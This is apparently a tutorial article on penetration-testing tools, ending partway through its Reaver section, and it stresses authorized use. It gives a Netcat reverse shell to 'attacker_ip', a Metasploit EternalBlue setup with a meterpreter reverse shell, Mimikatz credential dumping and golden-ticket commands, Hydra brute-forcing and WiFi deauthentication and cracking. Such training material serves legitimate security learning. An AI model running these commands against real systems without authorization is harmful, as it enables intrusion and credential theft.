Understanding and mastering ethical hacking tools has become essential for cybersecurity professionals protecting organizations from evolving digital threats. Ethical hacking tools are specialized software applications, frameworks, and utilities that security experts use to identify vulnerabilities, test system security, analyze network traffic, and assess defensive measures before malicious actors exploit weaknesses. When exploring ethical hacking tools, professionals discover a comprehensive ecosystem enabling penetration testing, vulnerability assessment, security auditing, and defensive security measures that strengthen organizational cyber resilience.

Ethical hacking tools empower authorized security professionals to think like attackers while operating within legal and ethical boundaries. These tools range from network scanners and vulnerability analyzers to password crackers and exploitation frameworks, each serving specific purposes in comprehensive security assessments. Organizations worldwide rely on ethical hacking tools to proactively identify security gaps, validate security controls, comply with regulations, and maintain robust defensive postures against increasingly sophisticated cyber threats.

This comprehensive guide explores the most essential ethical hacking tools across multiple categories including reconnaissance tools, scanning and enumeration utilities, vulnerability assessment platforms, exploitation frameworks, wireless security tools, web application testing software, password cracking utilities, forensics tools, and social engineering frameworks. Whether you’re a cybersecurity student beginning your journey, a security professional expanding your toolkit, or an IT leader understanding security assessment capabilities, this guide provides critical knowledge about ethical hacking tools driving modern cybersecurity practices.

Understanding Ethical Hacking and Tool Categories

What is Ethical Hacking?

Before diving into specific ethical hacking tools, understanding ethical hacking foundations provides essential context.

Ethical Hacking Defined: Ethical hacking, also known as penetration testing or white-hat hacking, involves authorized attempts to breach computer systems, networks, or applications to identify security vulnerabilities before malicious attackers exploit them. Ethical hackers use the same tools, techniques, and methodologies as malicious hackers but operate with explicit permission and document findings to improve security rather than cause harm.

Key Principles:

• Authorization: Always obtain written permission before testing
• Scope Definition: Test only systems within agreed boundaries
• Confidentiality: Protect discovered vulnerabilities and sensitive data
• Reporting: Document findings comprehensively and responsibly
• Remediation Support: Help organizations fix identified issues

Types of Ethical Hacking:

• Network Penetration Testing: Assessing network infrastructure security
• Web Application Testing: Identifying web app vulnerabilities
• Wireless Security Testing: Evaluating WiFi and wireless networks
• Social Engineering Testing: Testing human security awareness
• Physical Security Testing: Assessing physical access controls
• Mobile Application Testing: Securing mobile apps
• Cloud Security Assessment: Evaluating cloud infrastructure

Categories of Ethical Hacking Tools

Ethical hacking tools organize into distinct categories based on security assessment phases and functions.

1. Reconnaissance and Information Gathering Tools Collect information about target systems, networks, and organizations without direct interaction. These passive and active reconnaissance tools identify potential attack surfaces.

2. Scanning and Enumeration Tools Discover active hosts, open ports, running services, and system configurations. These tools map network topology and identify accessible resources.

3. Vulnerability Assessment Tools Automatically scan for known vulnerabilities, misconfigurations, and security weaknesses across systems, applications, and networks.

4. Exploitation Tools Leverage identified vulnerabilities to gain unauthorized access, demonstrating security impact and validating defensive measures.

5. Password Cracking Tools Test password strength and recover passwords using various attack methods including dictionary attacks, brute force, and rainbow tables.

6. Wireless Hacking Tools Assess WiFi security, crack encryption keys, analyze wireless traffic, and identify rogue access points.

7. Web Application Testing Tools Identify vulnerabilities specific to web applications including SQL injection, cross-site scripting, authentication flaws, and configuration issues.

8. Forensics and Analysis Tools Investigate security incidents, analyze evidence, recover deleted data, and understand attack methodologies.

9. Social Engineering Tools Test human vulnerabilities through phishing simulations, pretexting scenarios, and security awareness assessments.

10. Defensive and Monitoring Tools Detect intrusions, monitor network activity, analyze logs, and respond to security incidents.

Legal and Ethical Considerations

Using ethical hacking tools requires strict adherence to legal and ethical guidelines.

Legal Requirements:

• Written Authorization: Obtain explicit permission before testing
• Scope Agreement: Define what systems, networks, and methods are permitted
• Non-Disclosure Agreements: Protect client confidentiality
• Compliance: Follow relevant laws (CFAA, GDPR, industry regulations)
• Liability Protection: Establish clear terms regarding testing impact

Ethical Guidelines:

• Test only authorized targets
• Avoid causing damage or disruption
• Respect privacy and confidentiality
• Report vulnerabilities responsibly
• Never exploit findings for personal gain
• Maintain professional standards

Consequences of Misuse: Unauthorized use of hacking tools carries severe legal consequences including criminal prosecution, imprisonment, fines, and career destruction. Even well-intentioned unauthorized testing violates computer fraud laws in most jurisdictions.

Professional Certifications: Certified Ethical Hacker (CEH), Offensive Security Certified Professional (OSCP), GIAC Penetration Tester (GPEN), and similar certifications validate ethical hacking knowledge and establish professional credibility.

Reconnaissance and Information Gathering Tools

Nmap: Network Mapper

Nmap stands as the most essential tool when discussing ethical hacking tools for network reconnaissance.

What is Nmap: Nmap is a free, open-source network scanner used to discover hosts, services, operating systems, and vulnerabilities across networks. Created by Gordon Lyon, Nmap has become the industry standard for network mapping and security auditing.

Key Features:

• Host Discovery: Identify active devices on networks
• Port Scanning: Determine open ports and running services
• Service Detection: Identify application versions
• OS Detection: Fingerprint operating systems
• Scriptable: Nmap Scripting Engine (NSE) for advanced scanning
• Flexible Output: Multiple output formats for analysis

Common Nmap Commands:

# Basic ping scan
nmap -sn 192.168.1.0/24

# Port scan
nmap -p- 192.168.1.100

# Service version detection
nmap -sV 192.168.1.100

# OS detection
nmap -O 192.168.1.100

# Aggressive scan (OS, version, script scanning)
nmap -A 192.168.1.100

# Stealth SYN scan
nmap -sS 192.168.1.100

# Vulnerability scanning with scripts
nmap --script vuln 192.168.1.100

Use Cases:

• Network inventory and asset discovery
• Security auditing and compliance
• Network troubleshooting
• Vulnerability assessment preparation
• Monitoring network changes

Why It’s Essential: Nmap provides comprehensive network visibility essential for security assessments. Its flexibility, scriptability, and accuracy make it indispensable for ethical hackers worldwide.

Maltego: Intelligence and Forensics

Maltego represents powerful visual intelligence gathering among ethical hacking tools.

What is Maltego: Maltego is a comprehensive intelligence and forensics platform that visualizes relationships between entities including people, companies, domains, IP addresses, and infrastructure. It automates information gathering from public and private data sources.

Key Capabilities:

• Entity Mapping: Visualize relationships between targets
• OSINT Integration: Aggregate open-source intelligence
• Domain/IP Investigation: Map network infrastructure
• Social Network Analysis: Discover personal connections
• Data Mining: Extract patterns from large datasets
• Custom Transforms: Integrate proprietary data sources

Common Applications:

• Organizational footprint mapping
• Social engineering reconnaissance
• Infrastructure mapping
• Incident investigation
• Threat intelligence gathering

Maltego Editions:

• Community Edition: Free with limited transforms
• Classic: Advanced features for professionals
• XL: Enterprise-scale investigations

theHarvester: Email and Subdomain Discovery

theHarvester excels at passive reconnaissance among ethical hacking tools.

What is theHarvester: A simple yet powerful tool for gathering emails, subdomains, hosts, employee names, open ports, and banners from public sources including search engines, PGP key servers, and SHODAN.

Data Sources:

• Google, Bing, Yahoo search engines
• LinkedIn, Twitter social networks
• SHODAN IoT search engine
• VirusTotal threat intelligence
• DNS records and certificate transparency logs

Example Usage:

# Basic email and subdomain harvest
theHarvester -d example.com -b google

# Multiple sources
theHarvester -d example.com -b all

# Save results
theHarvester -d example.com -b google -f output.html

Benefits:

• Passive reconnaissance (no target interaction)
• Identifies potential attack vectors
• Discovers exposed infrastructure
• Maps organizational footprint
• Supports multiple intelligence sources

Recon-ng: Reconnaissance Framework

Recon-ng provides modular reconnaissance capabilities among ethical hacking tools.

What is Recon-ng: A full-featured reconnaissance framework written in Python with database backend, independent modules, and interactive console similar to Metasploit.

Key Features:

• Modular Architecture: 90+ modules for various recon tasks
• Database Backend: Store and query reconnaissance data
• Automated Workflows: Chain modules for comprehensive recon
• API Integration: Leverage external services (Shodan, VirusTotal, etc.)
• Report Generation: Export findings in multiple formats

Module Categories:

• Discovery (hosts, contacts, credentials)
• Recon (WHOIS, DNS, geolocation)
• Reporting (HTML, CSV, JSON)
• Exploitation integration
• Import/export data

Workflow Example:

# Launch Recon-ng
recon-ng

# Add domain
workspaces create example_com
db insert domains
example.com

# Load and run module
modules load recon/domains-hosts/bing_domain_web
run

# View results
show hosts

Shodan: IoT Search Engine

Shodan represents unique intelligence gathering among ethical hacking tools.

What is Shodan: Often called the “search engine for hackers,” Shodan scans and indexes internet-connected devices including servers, webcams, routers, industrial control systems, and IoT devices. Unlike Google which indexes web content, Shodan indexes device metadata, banners, and configurations.

Key Capabilities:

• Device Discovery: Find specific device types globally
• Service Identification: Identify running services and versions
• Vulnerability Research: Discover exposed vulnerable systems
• Geolocation: Map devices by location
• Historical Data: Track device changes over time

Search Filters:

port:22 - SSH servers
product:apache - Apache web servers
country:US - Devices in United States
os:Windows - Windows systems
vuln:CVE-2021-44228 - Log4Shell vulnerable systems

Ethical Use Cases:

• Asset discovery and inventory
• Exposure assessment (what’s visible externally)
• Vulnerability research
• Attack surface mapping
• Security monitoring

Important Note: While Shodan reveals publicly accessible information, accessing discovered systems without authorization remains illegal. Use Shodan only for authorized security assessments.

Scanning and Enumeration Tools

Netcat: Swiss Army Knife of Networking

Netcat stands among the most versatile ethical hacking tools for network communication.

What is Netcat: A simple Unix utility that reads and writes data across network connections using TCP or UDP. Its flexibility makes it invaluable for debugging, testing, and security operations.

Core Capabilities:

• Port Scanning: Basic port connectivity testing
• Banner Grabbing: Identify service versions
• File Transfer: Send/receive files across networks
• Backdoors: Create listeners for remote access
• Chat Server: Simple communication channel
• Pivoting: Route traffic through compromised systems

Common Commands:

# Listen on port
nc -l -p 1234

# Connect to host
nc 192.168.1.100 1234

# Port scan
nc -zv 192.168.1.100 1-1000

# Banner grab
nc 192.168.1.100 80
GET / HTTP/1.0

# File transfer (receiver)
nc -l -p 1234 > received_file

# File transfer (sender)
nc 192.168.1.100 1234 < file_to_send

# Reverse shell (attacker)
nc -l -p 1234

# Reverse shell (target)
nc attacker_ip 1234 -e /bin/bash

Why It’s Essential: Netcat’s simplicity and flexibility make it indispensable for network troubleshooting, simple exploits, and maintaining access during penetration tests.

Enum4linux: SMB Enumeration

Enum4linux specializes in Windows/Samba enumeration among ethical hacking tools.

What is Enum4linux: A tool for enumerating information from Windows and Samba systems including user lists, shares, password policies, printers, and more. It automates various enum commands and tools.

Information Gathered:

• Workgroup/domain information
• User lists and group membership
• Share enumeration
• Password policies
• Operating system information
• Printer information

Example Usage:

# Basic enumeration
enum4linux 192.168.1.100

# All enumeration
enum4linux -a 192.168.1.100

# Username enumeration
enum4linux -U 192.168.1.100

# Share enumeration
enum4linux -S 192.168.1.100

Penetration Testing Value: SMB enumeration often reveals critical information for Windows network attacks including valid usernames, share permissions, and password policies that inform subsequent exploitation attempts.

Nikto: Web Server Scanner

Nikto ranks among essential ethical hacking tools for web server assessment.

What is Nikto: An open-source web server scanner that tests for thousands of potentially dangerous files, outdated server versions, version-specific problems, and configuration issues.

Scanning Capabilities:

• 6700+ potentially dangerous files/programs
• Outdated server versions
• Version-specific problems
• Configuration issues
• Default files and programs
• Insecure files and scripts
• Server and software misconfigurations

Basic Commands:

# Basic scan
nikto -h http://example.com

# Scan specific port
nikto -h example.com -p 8080

# SSL scan
nikto -h https://example.com -ssl

# Output to file
nikto -h example.com -o results.html -Format html

# Scan through proxy
nikto -h example.com -useproxy http://proxy:8080

Best Practices:

• Run during authorized testing windows only
• Nikto is noisy and easily detected
• Review results carefully (many false positives)
• Use with other web testing tools
• Document findings for remediation

DNSenum: DNS Enumeration

DNSenum focuses on DNS reconnaissance among ethical hacking tools.

What is DNSenum: A Perl script that enumerates DNS information including host addresses, name servers, MX records, zone transfers, and subdomains through brute forcing and scraping.

Features:

• Get host addresses (A records)
• Get name servers (NS records)
• Get MX records
• Attempt zone transfers
• Subdomain brute forcing
• Reverse lookup on net ranges
• Google scraping for subdomains

Example Commands:

# Basic DNS enumeration
dnsenum example.com

# With brute force
dnsenum --enum example.com

# Save output
dnsenum -o output.xml example.com

# Custom subdomain wordlist
dnsenum --dnsserver 8.8.8.8 -f subdomains.txt example.com

Why DNS Enumeration Matters: DNS reveals organizational infrastructure, identifies potential targets, discovers forgotten or test systems, and maps the attack surface for comprehensive security assessments.

Vulnerability Assessment Tools

Nessus: Vulnerability Scanner

Nessus leads commercial vulnerability scanners among ethical hacking tools.

What is Nessus: Developed by Tenable, Nessus is a comprehensive vulnerability scanner that identifies vulnerabilities, configuration issues, malware, and compliance violations across networks, systems, and applications.

Key Capabilities:

• 60,000+ Vulnerability Checks: Extensive coverage
• Configuration Auditing: CIS benchmarks, DISA STIGs
• Compliance Scanning: PCI DSS, HIPAA, GDPR
• Web Application Scanning: OWASP Top 10 vulnerabilities
• Malware Detection: Identify compromised systems
• Credentialed Scanning: In-depth authenticated scans

Scan Types:

• Basic Network Scan: Identify common vulnerabilities
• Credentialed Patch Audit: Verify patch status
• Web Application Tests: Identify web vulnerabilities
• Compliance Scans: Check regulatory compliance
• Advanced Scan: Customizable comprehensive assessment

Workflow:

1. Create scan policy defining scope and checks
2. Execute scan against target systems
3. Review vulnerability findings
4. Prioritize based on severity (Critical, High, Medium, Low)
5. Generate reports for stakeholders
6. Track remediation progress with rescans

Editions:

• Nessus Essentials: Free for 16 IPs
• Nessus Professional: Full features for practitioners
• Nessus Expert: Cloud and container scanning
• Tenable.io: Cloud-based vulnerability management platform

OpenVAS: Open-Source Vulnerability Scanner

OpenVAS provides free vulnerability scanning among ethical hacking tools.

What is OpenVAS: Open Vulnerability Assessment System (OpenVAS) is a full-featured open-source vulnerability scanner with over 50,000 vulnerability tests, maintained by Greenbone Networks.

Features:

• Comprehensive vulnerability database
• Network vulnerability testing
• Regular feed updates
• Web-based interface
• Customizable scan configurations
• Report generation
• API for automation

Installation (Kali Linux):

sudo apt update
sudo apt install openvas
sudo gvm-setup
sudo gvm-start

Advantages:

• Free and open-source
• Active community development
• Regular updates
• Suitable for budget-conscious organizations
• Comparable functionality to commercial tools

Limitations:

• Steeper learning curve than commercial alternatives
• Less polished interface
• Limited vendor support
• Requires more configuration

Burp Suite: Web Application Security

Burp Suite dominates web application testing among ethical hacking tools.

What is Burp Suite: An integrated platform for web application security testing developed by PortSwigger. Burp Suite functions as an intercepting proxy, allowing testers to inspect and modify traffic between browsers and web applications.

Core Components:

Proxy: Intercepts HTTP/HTTPS traffic for inspection and modification

Scanner: Automated vulnerability scanning (Professional only)

Intruder: Automated customized attacks

Repeater: Manual request manipulation and testing

Sequencer: Analyzes session token randomness

Decoder: Encodes/decodes data in various formats

Comparer: Visual comparison of data differences

Extender: Third-party extension platform

Common Vulnerabilities Detected:

• SQL Injection
• Cross-Site Scripting (XSS)
• Cross-Site Request Forgery (CSRF)
• Security misconfigurations
• Broken authentication
• Sensitive data exposure
• XML External Entities (XXE)
• Broken access control

Workflow Example:

1. Configure browser to use Burp proxy (127.0.0.1:8080)
2. Navigate target application through browser
3. Intercept requests with Burp Proxy
4. Analyze requests/responses for vulnerabilities
5. Send interesting requests to Repeater for modification
6. Use Intruder for automated parameter fuzzing
7. Run Scanner for automated vulnerability detection (Pro)
8. Document findings for reporting

Editions:

• Community Edition: Free with basic features
• Professional: Full features including scanner
• Enterprise: Continuous scanning for DevOps

OWASP ZAP: Security Testing Proxy

OWASP ZAP offers free web security testing among ethical hacking tools.

What is OWASP ZAP: Zed Attack Proxy (ZAP) is an open-source web application security scanner developed by OWASP. It’s designed for finding vulnerabilities in web applications during development and testing.

Key Features:

• Intercepting proxy
• Automated scanner
• Passive scanning
• Forced browsing
• Fuzzer
• WebSocket support
• API testing
• Authentication support

Scanning Modes:

• Automated Scan: Quick vulnerability identification
• Manual Explore: Interactive testing with proxy
• AJAX Spider: Crawl JavaScript-heavy applications
• Active Scan: In-depth automated testing

Advantages:

• Free and open-source
• Active development
• User-friendly interface
• Extensive documentation
• CI/CD integration
• Suitable for developers and security testers

Comparison with Burp Suite: ZAP provides excellent free alternative to Burp Suite Community Edition with comparable features, particularly suitable for organizations preferring open-source tools or budget constraints.

Metasploit Framework: Exploitation Platform

Metasploit represents the most comprehensive exploitation framework among ethical hacking tools.

What is Metasploit: A powerful penetration testing platform that helps security teams find, exploit, and validate vulnerabilities. Metasploit contains thousands of exploits, payloads, and auxiliary modules for comprehensive security testing.

Architecture Components:

Exploits: Code that takes advantage of vulnerabilities

Payloads: Code that runs after successful exploitation (shells, meterpreter)

Auxiliary: Supporting modules (scanners, fuzzers, denial of service)

Encoders: Obfuscate payloads to evade detection

Post-Exploitation: Modules for post-compromise activities

Basic Workflow:

# Start Metasploit
msfconsole

# Search for exploits
search type:exploit platform:windows

# Select exploit
use exploit/windows/smb/ms17_010_eternalblue

# Show options
show options

# Set target
set RHOSTS 192.168.1.100

# Set payload
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST attacker_ip

# Run exploit
exploit

Meterpreter: Advanced payload providing interactive shell with numerous post-exploitation capabilities including:

• File system access
• Process manipulation
• Network pivoting
• Screenshot capture
• Keylogging
• Privilege escalation
• Persistence mechanisms

Use Cases:

• Validating vulnerability exploitability
• Demonstrating security impact
• Post-exploitation testing
• Security training and research
• Red team operations

Editions:

• Metasploit Framework: Free open-source version
• Metasploit Pro: Commercial with advanced features

Password Cracking and Authentication Tools

John the Ripper: Password Cracker

John the Ripper ranks among the most powerful ethical hacking tools for password security testing.

What is John the Ripper: A free, open-source password cracking tool that supports hundreds of hash and cipher types. John detects password hash types automatically and includes a customizable cracker.

Cracking Modes:

Single Crack Mode: Uses login names, GECOS information, and home directories to generate candidate passwords

Wordlist Mode: Tests passwords from dictionary files

Incremental Mode: Tries all possible character combinations (brute force)

External Mode: Uses external program to generate candidates

Supported Hash Types:

• Unix crypt(3)
• Traditional DES
• MD5-based
• Windows LM, NTLM
• MySQL, PostgreSQL
• PDF, ZIP, RAR encryption
• SSH keys
• Bitcoin wallets
• And hundreds more

Example Usage:

# Basic cracking
john hashes.txt

# Wordlist attack
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# Show cracked passwords
john --show hashes.txt

# Specific format
john --format=NT hashes.txt

# Incremental mode
john --incremental hashes.txt

Best Practices:

• Test password policies
• Validate password strength
• Assess hash storage security
• Only crack hashes with authorization
• Document weak passwords found

Hashcat: Advanced Password Recovery

Hashcat represents the fastest password cracking tool among ethical hacking tools.

What is Hashcat: The world’s fastest and most advanced password recovery utility supporting over 300 highly-optimized hashing algorithms. Hashcat leverages GPUs for massive performance improvements over CPU-based cracking.

Key Features:

• GPU acceleration (up to 100x faster than CPU)
• Supports 300+ hash algorithms
• Attack modes: brute-force, dictionary, hybrid, rule-based
• Distributed cracking across multiple systems
• Session management and restoration
• Built-in benchmarking

Attack Modes:

• Straight: Dictionary attack
• Combination: Combines words from multiple dictionaries
• Brute-force: Tests all combinations
• Hybrid: Dictionary + mask
• Association: Prince algorithm attack

Example Commands:

# Dictionary attack
hashcat -m 0 -a 0 hashes.txt wordlist.txt

# Brute force (8-char all lowercase)
hashcat -m 0 -a 3 hashes.txt ?l?l?l?l?l?l?l?l

# Dictionary with rules
hashcat -m 0 -a 0 hashes.txt wordlist.txt -r rules/best64.rule

# NTLM hash cracking
hashcat -m 1000 -a 0 ntlm_hashes.txt rockyou.txt

# Show cracked passwords
hashcat -m 0 hashes.txt --show

Mask Attack: ?l = lowercase, ?u = uppercase, ?d = digits, ?s = special

GPU Advantages: Modern GPUs can attempt billions of password combinations per second, making Hashcat exceptionally fast for cracking weak passwords.

Hydra: Network Logon Cracker

Hydra excels at online password attacks among ethical hacking tools.

What is Hydra: A parallelized login cracker supporting numerous protocols. Hydra performs rapid dictionary attacks against network services to identify weak passwords.

Supported Protocols (50+):

• FTP, HTTP, HTTPS
• SSH, Telnet
• SMB, RDP
• MySQL, PostgreSQL, Oracle
• SMTP, POP3, IMAP
• VNC, LDAP
• And many more

Example Commands:

# SSH brute force
hydra -l username -P passwords.txt ssh://192.168.1.100

# FTP with username list
hydra -L users.txt -P passwords.txt ftp://192.168.1.100

# HTTP POST form
hydra -l admin -P passwords.txt 192.168.1.100 http-post-form "/login:username=^USER^&password=^PASS^:Invalid"

# RDP attack
hydra -l administrator -P passwords.txt rdp://192.168.1.100

# Multiple threads
hydra -l admin -P passwords.txt -t 4 ssh://192.168.1.100

Important Warnings:

• Online attacks are noisy and easily detected
• May trigger account lockouts
• Can cause service disruption
• Use responsibly with authorization only

Also Read: How to become an Ethical Hacker

Mimikatz: Windows Credential Extraction

Mimikatz represents powerful Windows credential recovery among ethical hacking tools.

What is Mimikatz: A post-exploitation tool that extracts plaintext passwords, hashes, PIN codes, and Kerberos tickets from memory. Created by Benjamin Delpy, Mimikatz demonstrates Windows authentication vulnerabilities.

Core Capabilities:

• Pass-the-Hash: Use NTLM hash without knowing password
• Pass-the-Ticket: Use Kerberos tickets for authentication
• Over-Pass-the-Hash: Request Kerberos TGT using NTLM hash
• Kerberoast: Extract service account credentials
• Golden Ticket: Forge Kerberos tickets for domain persistence
• Credential Dumping: Extract credentials from LSASS memory

Common Commands:

# Enable SeDebugPrivilege
privilege::debug

# Dump credentials from memory
sekurlsa::logonpasswords

# List Kerberos tickets
sekurlsa::tickets

# Pass-the-hash
sekurlsa::pth /user:Administrator /domain:DOMAIN /ntlm:hash

# Dump SAM database
lsadump::sam

# Golden ticket attack
kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21... /krbtgt:hash

Defense Considerations: Mimikatz highlights critical Windows security issues. Defenses include:

• Credential Guard
• Protected Users group
• Restricting admin privileges
• Regular password rotation
• Monitoring for suspicious activity

Wireless Hacking Tools

Aircrack-ng: WiFi Security Suite

Aircrack-ng leads wireless security testing among ethical hacking tools.

What is Aircrack-ng: A complete suite of tools for assessing WiFi network security including packet capture, WEP and WPA/WPA2-PSK cracking, and fake access point creation.

Suite Components:

Airmon-ng: Enable monitor mode on wireless interfaces

Airodump-ng: Packet capture and network detection

Aireplay-ng: Generate traffic and perform attacks

Aircrack-ng: Crack WEP and WPA/WPA2 keys

Airdecap-ng: Decrypt WEP/WPA capture files

Packetforge-ng: Create encrypted packets for injection

Basic Workflow:

# Enable monitor mode
airmon-ng start wlan0

# Capture packets
airodump-ng wlan0mon

# Target specific network
airodump-ng -c channel --bssid AP_MAC -w output wlan0mon

# Deauth attack (capture handshake)
aireplay-ng --deauth 10 -a AP_MAC wlan0mon

# Crack WPA password
aircrack-ng -w wordlist.txt output-01.cap

Attack Types:

• WEP cracking (deprecated but still found)
• WPA/WPA2 handshake capture and cracking
• WPS PIN attacks
• Evil twin access points
• Deauthentication attacks

Legal Considerations: Testing wireless networks without authorization is illegal. Only test networks you own or have explicit permission to assess.

Wifite: Automated Wireless Auditor

Wifite simplifies wireless testing among ethical hacking tools.

What is Wifite: An automated wireless auditor that streamlines WiFi security testing by automatically detecting, attacking, and cracking wireless networks with minimal user interaction.

Features:

• Automated network scanning
• Prioritized attack selection
• WEP, WPA/WPA2, and WPS attacks
• Handshake capture
• Integration with Aircrack-ng, Reaver, Bully
• User-friendly interface

Usage:

# Basic automated attack
wifite

# WPA only with custom wordlist
wifite --wpa --dict wordlist.txt

# Target specific network
wifite --bssid XX:XX:XX:XX:XX:XX

# WPS attack
wifite --wps

Advantages:

• Simplifies complex wireless attacks
• Ideal for beginners
• Reduces manual command sequences
• Automates best practices

Reaver: WPS Attack Tool

Reaver specializes in WPS vulnerabilities among ethical hacking tools.

What is Reaver: A tool that exploits a flaw in WiFi Protected Setup (WPS) to recover WPA/WPA2 passphrases. Many routers enabled WPS by default, making them vulnerable to brute-force PIN attacks.

How It Works: WPS uses an 8-digit PIN for easy device connection. Reaver brute-forces this PIN (only 11,000 possible combinations due to checksum), recovering the actual WPA password once successful.

Basic Usage:

# Scan for WPS-enabled networks
wash -i wlan0mon

# Attack WPS
reaver -i wlan0mon -b AP_MAC -vv

# Specific PIN test
reaver -i wlan0mon -b AP_MAC